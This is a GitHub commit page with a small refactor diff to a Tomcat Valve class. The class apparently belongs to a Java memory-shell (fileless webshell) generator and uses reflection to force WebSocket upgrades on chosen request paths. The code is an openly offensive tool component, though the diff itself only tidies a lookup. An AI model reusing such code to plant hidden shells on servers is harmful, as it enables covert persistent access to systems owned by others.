Skip to content

Commit 82a6118

Browse files
committed
refactor: simplify code
1 parent d765fb3 commit 82a6118

File tree

1 file changed

+4
-6
lines changed

1 file changed

+4
-6
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/wsbypass/TomcatWsBypassValve.java

Lines changed: 4 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@
55
import org.apache.catalina.connector.Response;
66

77
import javax.servlet.ServletException;
8+
import javax.websocket.server.ServerContainer;
89
import java.io.IOException;
910
import java.lang.reflect.Field;
1011
import java.lang.reflect.Method;
@@ -29,19 +30,16 @@ public void invoke(Request request, Response response) throws IOException, Servl
2930
} else {
3031
path = request.getServletPath() + pathInfo;
3132
}
32-
Object sc = request.getServletContext().getAttribute("javax.websocket.server.ServerContainer");
33-
if (sc == null) {
34-
sc = request.getServletContext().getAttribute("jakarta.websocket.server.ServerContainer");
35-
}
33+
Object sc = request.getServletContext().getAttribute(ServerContainer.class.getName());
3634
if (sc == null) {
3735
throw new ServletException("Server container not found");
3836
}
39-
addHeader(request, "Connection", "upgrade");
40-
addHeader(request, "Upgrade", "websocket");
4137
Object mappingResult = sc.getClass().getMethod("findMapping", String.class).invoke(sc, path);
4238
Class<?> upgradeUtil = Class.forName("org.apache.tomcat.websocket.server.UpgradeUtil");
4339
for (Method method : upgradeUtil.getMethods()) {
4440
if ("doUpgrade".equals(method.getName())) {
41+
addHeader(request, "Connection", "upgrade");
42+
addHeader(request, "Upgrade", "websocket");
4543
method.invoke(null, sc, request, response, getFieldValue(mappingResult, "config"), getFieldValue(mappingResult, "pathParams"));
4644
}
4745
}

0 commit comments

Comments
 (0)